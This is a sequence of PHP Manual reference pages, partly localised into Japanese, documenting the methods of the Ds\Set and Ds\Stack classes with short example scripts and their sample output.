Returns a shallow copy of the set

  • ≪ Ds\Set::contains
  • Ds\Set::count ≫
  • PHP Manual
  • Set
  • Returns a shallow copy of the set

Ds\Set::copy

(PECL ds >= 1.0.0)

Ds\Set::copy — Returns a shallow copy of the set

説明

public Ds\Set::copy ( ) : Ds\Set

Returns a shallow copy of the set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the set.

例

例1 Ds\Set::copy() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->add(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the set

  • ≪ Ds\Set::copy
  • Ds\Set::diff ≫
  • PHP Manual
  • Set
  • Returns the number of values in the set

Ds\Set::count

(PECL ds >= 1.0.0)

Ds\Set::count — Returns the number of values in the set

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values that aren't in another set

  • ≪ Ds\Set::count
  • Ds\Set::filter ≫
  • PHP Manual
  • Set
  • Creates a new set using values that aren't in another set

Ds\Set::diff

(PECL ds >= 1.0.0)

Ds\Set::diff — Creates a new set using values that aren't in another set

説明

public Ds\Set::diff ( Ds\Set $set ) : Ds\Set

Creates a new set using values that aren't in another set.

A \ B = {x ∈ A | x ? B}

パラメータ

set

Set containing the values to exclude.

返り値

A new set containing all values that were not in the other set.

See Also

  • » Compliment on Wikipedia

例

例1 Ds\Set::diff() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->diff($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#3 (2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using a callable to determine which values to include

  • ≪ Ds\Set::diff
  • Ds\Set::first ≫
  • PHP Manual
  • Set
  • Creates a new set using a callable to determine which values to include

Ds\Set::filter

(PECL ds >= 1.0.0)

Ds\Set::filter — Creates a new set using a callable to determine which values to include

説明

public Ds\Set::filter ( callable $callback = ? ) : Ds\Set

Creates a new set using a callable to determine which values to include.

パラメータ

callback

callback ( mixed $value ) : bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返り値

A new set containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

例

例1 Ds\Set::filter() example using callback function

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

var_dump($set->filter(function($value) {
    return $value % 2 == 0;
}));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

例2 Ds\Set::filter() example without a callback function

<?php
$set = new \Ds\Set([0, 1, 'a', true, false]);

var_dump($set->filter());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the set

  • ≪ Ds\Set::filter
  • Ds\Set::get ≫
  • PHP Manual
  • Set
  • Returns the first value in the set

Ds\Set::first

(PECL ds >= 1.0.0)

Ds\Set::first — Returns the first value in the set

説明

public Ds\Set::first ( ) : mixed

Returns the first value in the set.

パラメータ

この関数にはパラメータはありません。

返り値

The first value in the set.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Set::first() example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->first());
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ≪ Ds\Set::first
  • Ds\Set::intersect ≫
  • PHP Manual
  • Set
  • Returns the value at a given index

Ds\Set::get

(PECL ds >= 1.0.0)

Ds\Set::get — Returns the value at a given index

説明

public Ds\Set::get ( int $index ) : mixed

Returns the value at a given index.

パラメータ

index

The index to access, starting at 0.

返り値

The value at the requested index.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Set::get() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set->get(0));
var_dump($set->get(1));
var_dump($set->get(2));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

例2 Ds\Set::get() example using array syntax

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set[0]);
var_dump($set[1]);
var_dump($set[2]);
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set by intersecting values with another set

  • ≪ Ds\Set::get
  • Ds\Set::isEmpty ≫
  • PHP Manual
  • Set
  • Creates a new set by intersecting values with another set

Ds\Set::intersect

(PECL ds >= 1.0.0)

Ds\Set::intersect — Creates a new set by intersecting values with another set

説明

public Ds\Set::intersect ( Ds\Set $set ) : Ds\Set

Creates a new set using values common to both the current instance and another set. In other words, returns a copy of the current instance with all values removed that are not in the other set.

A ∩ B = {x : x ∈ A ∧ x ∈ B}

パラメータ

set

The other set.

返り値

The intersection of the current instance and another set.

See Also

  • » Intersection on Wikipedia

例

例1 Ds\Set::intersect() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->intersect($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#3 (1) {
  [0]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the set is empty

  • ≪ Ds\Set::intersect
  • Ds\Set::join ≫
  • PHP Manual
  • Set
  • Returns whether the set is empty

Ds\Set::isEmpty

(PECL ds >= 1.0.0)

Ds\Set::isEmpty — Returns whether the set is empty

説明

public Ds\Set::isEmpty ( ) : bool

Returns whether the set is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the set is empty, false otherwise.

例

例1 Ds\Set::isEmpty() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ≪ Ds\Set::isEmpty
  • Ds\Set::jsonSerialize ≫
  • PHP Manual
  • Set
  • Joins all values together as a string

Ds\Set::join

(PECL ds >= 1.0.0)

Ds\Set::join — Joins all values together as a string

説明

public Ds\Set::join ( string $glue = ? ) : string

Joins all values together as a string using an optional separator between each value.

パラメータ

glue

An optional string to separate each value.

返り値

All values of the set joined together as a string.

例

例1 Ds\Set::join() example using a separator string

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join("|"));
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "a|b|c|1|2|3"

例2 Ds\Set::join() example without a separator string

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join());
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Set::join
  • Ds\Set::last ≫
  • PHP Manual
  • Set
  • Returns a representation that can be converted to JSON

Ds\Set::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value in the set

  • ≪ Ds\Set::jsonSerialize
  • Ds\Set::merge ≫
  • PHP Manual
  • Set
  • Returns the last value in the set

Ds\Set::last

(PECL ds >= 1.0.0)

Ds\Set::last — Returns the last value in the set

説明

public Ds\Set::last ( ) : mixed

Returns the last value in the set.

パラメータ

この関数にはパラメータはありません。

返り値

The last value in the set.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Set::last() example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->last());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the set

  • ≪ Ds\Set::last
  • Ds\Set::reduce ≫
  • PHP Manual
  • Set
  • Returns the result of adding all given values to the set

Ds\Set::merge

(PECL ds >= 1.0.3)

Ds\Set::merge — Returns the result of adding all given values to the set

説明

public Ds\Set::merge ( mixed $values ) : Ds\Set

Returns the result of adding all given values to the set.

パラメータ

values

A traversable object or an array.

返り値

The result of adding all given values to the set, effectively the same as adding the values to a copy, then returning that copy.

注意:

The current instance won't be affected.

例

例1 Ds\Set::merge() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->merge([3, 4, 5]));
var_dump($set);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}
object(Ds\Set)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Reduces the set to a single value using a callback function

  • ≪ Ds\Set::merge
  • Ds\Set::remove ≫
  • PHP Manual
  • Set
  • Reduces the set to a single value using a callback function

Ds\Set::reduce

(PECL ds >= 1.0.0)

Ds\Set::reduce — Reduces the set to a single value using a callback function

説明

public Ds\Set::reduce ( callable $callback , mixed $initial = ? ) : mixed

Reduces the set to a single value using a callback function.

パラメータ

callback
callback ( mixed $carry , mixed $value ) : mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返り値

The return value of the final callback.

例

例1 Ds\Set::reduce() with initial value example

<?php
$set = new \Ds\Set([1, 2, 3]);

$callback = function($carry, $value) {
    return $carry * $value;
};

var_dump($set->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 =  5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

上の例の出力は、 たとえば以下のようになります。

int(30)

例2 Ds\Set::reduce() without an initial value example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->reduce(function($carry, $value) {
    return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 =  6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

上の例の出力は、 たとえば以下のようになります。

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes all given values from the set

  • ≪ Ds\Set::reduce
  • Ds\Set::reverse ≫
  • PHP Manual
  • Set
  • Removes all given values from the set

Ds\Set::remove

(PECL ds >= 1.0.0)

Ds\Set::remove — Removes all given values from the set

説明

public Ds\Set::remove ( mixed ...$values ) : void

Removes all given values from the set, ignoring any that are not in the set.

パラメータ

values

The values to remove.

返り値

値を返しません。

例

例1 Ds\Set::remove() example

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

$set->remove(1);            // Remove 1
$set->remove(1, 2);         // Can't find 1, but remove 2
$set->remove(...[3, 4]);    // Remove 3 and 4

var_dump($set);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#1 (1) {
  [0]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Reverses the set in-place

  • ≪ Ds\Set::remove
  • Ds\Set::reversed ≫
  • PHP Manual
  • Set
  • Reverses the set in-place

Ds\Set::reverse

(PECL ds >= 1.0.0)

Ds\Set::reverse — Reverses the set in-place

説明

public Ds\Set::reverse ( ) : void

Reverses the set in-place.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Set::reverse() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);
$set->reverse();

print_r($set);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ≪ Ds\Set::reverse
  • Ds\Set::slice ≫
  • PHP Manual
  • Set
  • Returns a reversed copy

Ds\Set::reversed

(PECL ds >= 1.0.0)

Ds\Set::reversed — Returns a reversed copy

説明

public Ds\Set::reversed ( ) : Ds\Set

Returns a reversed copy of the set.

パラメータ

この関数にはパラメータはありません。

返り値

A reversed copy of the set.

注意:

The current instance is not affected.

例

例1 Ds\Set::reversed() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);

print_r($set->reversed());
print_r($set);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Set Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-set of a given range

  • ≪ Ds\Set::reversed
  • Ds\Set::sort ≫
  • PHP Manual
  • Set
  • Returns a sub-set of a given range

Ds\Set::slice

(PECL ds >= 1.0.0)

Ds\Set::slice — Returns a sub-set of a given range

説明

public Ds\Set::slice ( int $index , int $length = ? ) : Ds\Set

Creates a sub-set of a given range.

パラメータ

index

The index at which the sub-set starts.

If positive, the set will start at that index in the set. If negative, the set will start that far from the end.

length

If a length is given and is positive, the resulting set will have up to that many values in it. If the length results in an overflow, only values up to the end of the set will be included. If a length is given and is negative, the set will stop that many values from the end. If a length is not provided, the resulting set will contain all values between the index and the end of the set.

返り値

A sub-set of the given range.

例

例1 Ds\Set::slice() example

<?php
$set = new \Ds\Set(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($set->slice(2));

// Slice from 1, for a length of 3
print_r($set->slice(1, 3));

// Slice from 1 onwards
print_r($set->slice(1));

// Slice from 2 from the end onwards
print_r($set->slice(-2));

// Slice from 1 to 1 from the end
print_r($set->slice(1, -1));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Set Object
(
    [0] => d
    [1] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the set in-place

  • ≪ Ds\Set::slice
  • Ds\Set::sorted ≫
  • PHP Manual
  • Set
  • Sorts the set in-place

Ds\Set::sort

(PECL ds >= 1.0.0)

Ds\Set::sort — Sorts the set in-place

説明

public Ds\Set::sort ( callable $comparator = ? ) : void

Sorts the set in-place, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Set::sort() example

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);
$set->sort();

print_r($set);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Set::sort() example using a comparator

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$set->sort(function($a, $b) {
    return $b <=> $a;
});

print_r($set);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ≪ Ds\Set::sort
  • Ds\Set::sum ≫
  • PHP Manual
  • Set
  • Returns a sorted copy

Ds\Set::sorted

(PECL ds >= 1.0.0)

Ds\Set::sorted — Returns a sorted copy

説明

public Ds\Set::sorted ( callable $comparator = ? ) : Ds\Set

Returns a sorted copy, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a sorted copy of the set.

例

例1 Ds\Set::sorted() example

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

print_r($set->sorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Set::sorted() example using a comparator

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$sorted = $set->sorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the set

  • ≪ Ds\Set::sorted
  • Ds\Set::toArray ≫
  • PHP Manual
  • Set
  • Returns the sum of all values in the set

Ds\Set::sum

(PECL ds >= 1.0.0)

Ds\Set::sum — Returns the sum of all values in the set

説明

public Ds\Set::sum ( ) : int|float

Returns the sum of all values in the set.

注意:

Arrays and objects are considered equal to zero when calculating the sum.

パラメータ

この関数にはパラメータはありません。

返り値

The sum of all the values in the set as either a float or int depending on the values in the set.

例

例1 Ds\Set::sum() integer example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->sum());
?>

上の例の出力は、 たとえば以下のようになります。

int(6)

例2 Ds\Set::sum() float example

<?php
$set = new \Ds\Set([1, 2.5, 3]);
var_dump($set->sum());
?>

上の例の出力は、 たとえば以下のようになります。

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the set to an array

  • ≪ Ds\Set::sum
  • Ds\Set::union ≫
  • PHP Manual
  • Set
  • Converts the set to an array

Ds\Set::toArray

(PECL ds >= 1.0.0)

Ds\Set::toArray — Converts the set to an array

説明

public Ds\Set::toArray ( ) : array

Converts the set to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the set.

例

例1 Ds\Set::toArray() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values from the current instance and another set

  • ≪ Ds\Set::toArray
  • Ds\Set::xor ≫
  • PHP Manual
  • Set
  • Creates a new set using values from the current instance and another set

Ds\Set::union

(PECL ds >= 1.0.0)

Ds\Set::union — Creates a new set using values from the current instance and another set

説明

public Ds\Set::union ( Ds\Set $set ) : Ds\Set

Creates a new set that contains the values of the current instance as well as the values of another set.

A ∪ B = {x: x ∈ A ∨ x ∈ B}

パラメータ

set

The other set, to combine with the current instance.

返り値

A new set containing all the values of the current instance as well as another set.

See Also

  • » Union on Wikipedia

例

例1 Ds\Set::union() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->union($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#3 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values in either the current instance or in another set, but not in both

  • ≪ Ds\Set::union
  • Stack ≫
  • PHP Manual
  • Set
  • Creates a new set using values in either the current instance or in another set, but not in both

Ds\Set::xor

(PECL ds >= 1.0.0)

Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both

説明

public Ds\Set::xor ( Ds\Set $set ) : Ds\Set

Creates a new set containing values in the current instance as well as another set, but not in both.

A ? B = {x : x ∈ (A \ B) ∪ (B \ A)}

パラメータ

set

The other set.

返り値

A new set containing values in the current instance as well as another set, but not in both.

See Also

  • » Symmetric Difference on Wikipedia

例

例1 Ds\Set::xor() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->xor($b));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#3 (4) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(4)
  [3]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


The Stack class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Stack is a "last in, first out" or "LIFO" collection that only allows access to the value at the top of the structure and iterates in that order, destructively.

Uses a Ds\Vector internally.

クラス概要

Ds\Stack implements Ds\Collection , ArrayAccess {
/* メソッド */
public allocate ( int $capacity ) : void
public capacity ( ) : int
public clear ( ) : void
public copy ( ) : Ds\Stack
public isEmpty ( ) : bool
public peek ( ) : mixed
public pop ( ) : mixed
public push ( mixed ...$values ) : void
public toArray ( ) : array
}

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Stack::allocate — Allocates enough memory for a required capacity
  • Ds\Stack::capacity — Returns the current capacity
  • Ds\Stack::clear — Removes all values
  • Ds\Stack::__construct — Creates a new instance
  • Ds\Stack::copy — Returns a shallow copy of the stack
  • Ds\Stack::count — Returns the number of values in the stack
  • Ds\Stack::isEmpty — Returns whether the stack is empty
  • Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Stack::peek — Returns the value at the top of the stack
  • Ds\Stack::pop — Removes and returns the value at the top of the stack
  • Ds\Stack::push — Pushes values onto the stack
  • Ds\Stack::toArray — Converts the stack to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Stack
  • Ds\Stack::capacity ≫
  • PHP Manual
  • Stack
  • Allocates enough memory for a required capacity

Ds\Stack::allocate

(PECL ds >= 1.0.0)

Ds\Stack::allocate — Allocates enough memory for a required capacity

説明

public Ds\Stack::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Stack::allocate
  • Ds\Stack::clear ≫
  • PHP Manual
  • Stack
  • Returns the current capacity

Ds\Stack::capacity

(PECL ds >= 1.0.0)

Ds\Stack::capacity — Returns the current capacity

説明

public Ds\Stack::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\Stack::capacity
  • Ds\Stack::__construct ≫
  • PHP Manual
  • Stack
  • Removes all values

Ds\Stack::clear

(PECL ds >= 1.0.0)

Ds\Stack::clear — Removes all values

説明

public Ds\Stack::clear ( ) : void

Removes all values from the stack.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Stack::clear() example

<?php
$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);

$stack->clear();
print_r($stack);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Stack::clear
  • Ds\Stack::copy ≫
  • PHP Manual
  • Stack
  • Creates a new instance

Ds\Stack::__construct

(PECL ds >= 1.0.0)

Ds\Stack::__construct — Creates a new instance

説明

public Ds\Stack::__construct ( mixed $values = ? )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Stack::__construct() example

<?php
$stack = new \Ds\Stack();
print_r($stack);

$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Stack Object
(
)
Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the stack

  • ≪ Ds\Stack::__construct
  • Ds\Stack::count ≫
  • PHP Manual
  • Stack
  • Returns a shallow copy of the stack

Ds\Stack::copy

(PECL ds >= 1.0.0)

Ds\Stack::copy — Returns a shallow copy of the stack

説明

public Ds\Stack::copy ( ) : Ds\Stack

Returns a shallow copy of the stack.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the stack.

例

例1 Ds\Stack::copy() example

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the stack

  • ≪ Ds\Stack::copy
  • Ds\Stack::isEmpty ≫
  • PHP Manual
  • Stack
  • Returns the number of values in the stack

Ds\Stack::count

(PECL ds >= 1.0.0)

Ds\Stack::count — Returns the number of values in the stack

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the stack is empty

  • ≪ Ds\Stack::count
  • Ds\Stack::jsonSerialize ≫
  • PHP Manual
  • Stack
  • Returns whether the stack is empty

Ds\Stack::isEmpty

(PECL ds >= 1.0.0)

Ds\Stack::isEmpty — Returns whether the stack is empty

説明

public Ds\Stack::isEmpty ( ) : bool

Returns whether the stack is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the stack is empty, false otherwise.

例

例1 Ds\Stack::isEmpty() example

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = new \Ds\Stack();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Stack::isEmpty
  • Ds\Stack::peek ≫
  • PHP Manual
  • Stack
  • Returns a representation that can be converted to JSON

Ds\Stack::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the top of the stack

  • ≪ Ds\Stack::jsonSerialize
  • Ds\Stack::pop ≫
  • PHP Manual
  • Stack
  • Returns the value at the top of the stack

Ds\Stack::peek

(PECL ds >= 1.0.0)

Ds\Stack::peek — Returns the value at the top of the stack

説明

public Ds\Stack::peek ( ) : mixed

Returns the value at the top of the stack, but does not remove it.

パラメータ

この関数にはパラメータはありません。

返り値

The value at the top of the stack.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Stack::peek() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->peek());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value at the top of the stack

  • ≪ Ds\Stack::peek
  • Ds\Stack::push ≫
  • PHP Manual
  • Stack
  • Removes and returns the value at the top of the stack

Ds\Stack::pop

(PECL ds >= 1.0.0)

Ds\Stack::pop — Removes and returns the value at the top of the stack

説明

public Ds\Stack::pop ( ) : mixed

Removes and returns the value at the top of the stack.

パラメータ

この関数にはパラメータはありません。

返り値

The removed value which was at the top of the stack.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Stack::pop() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->pop());
var_dump($stack->pop());
var_dump($stack->pop());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "c"
string(1) "b"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values onto the stack

  • ≪ Ds\Stack::pop
  • Ds\Stack::toArray ≫
  • PHP Manual
  • Stack
  • Pushes values onto the stack

Ds\Stack::push

(PECL ds >= 1.0.0)

Ds\Stack::push — Pushes values onto the stack

説明

public Ds\Stack::push ( mixed ...$values ) : void

Pushes values onto the stack.

パラメータ

values

The values to push onto the stack.

返り値

値を返しません。

例

例1 Ds\Stack::push() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c", "d");
$stack->push(...["e", "f"]);

print_r($stack);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Stack Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

ishaankesari7 at gmail dot com 24-Jan-2017 05:23
If  "f " is put at the  last so it should be on the top of the stack not at the bottom.


Converts the stack to an array

  • ≪ Ds\Stack::push
  • Queue ≫
  • PHP Manual
  • Stack
  • Converts the stack to an array

Ds\Stack::toArray

(PECL ds >= 1.0.0)

Ds\Stack::toArray — Converts the stack to an array

説明

public Ds\Stack::toArray ( ) : array

Converts the stack to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the stack.

例

例1 Ds\Stack::toArray() example

<?php
$stack = new \Ds\Stack([1, 2, 3]);

var_dump($stack->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


The Queue class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

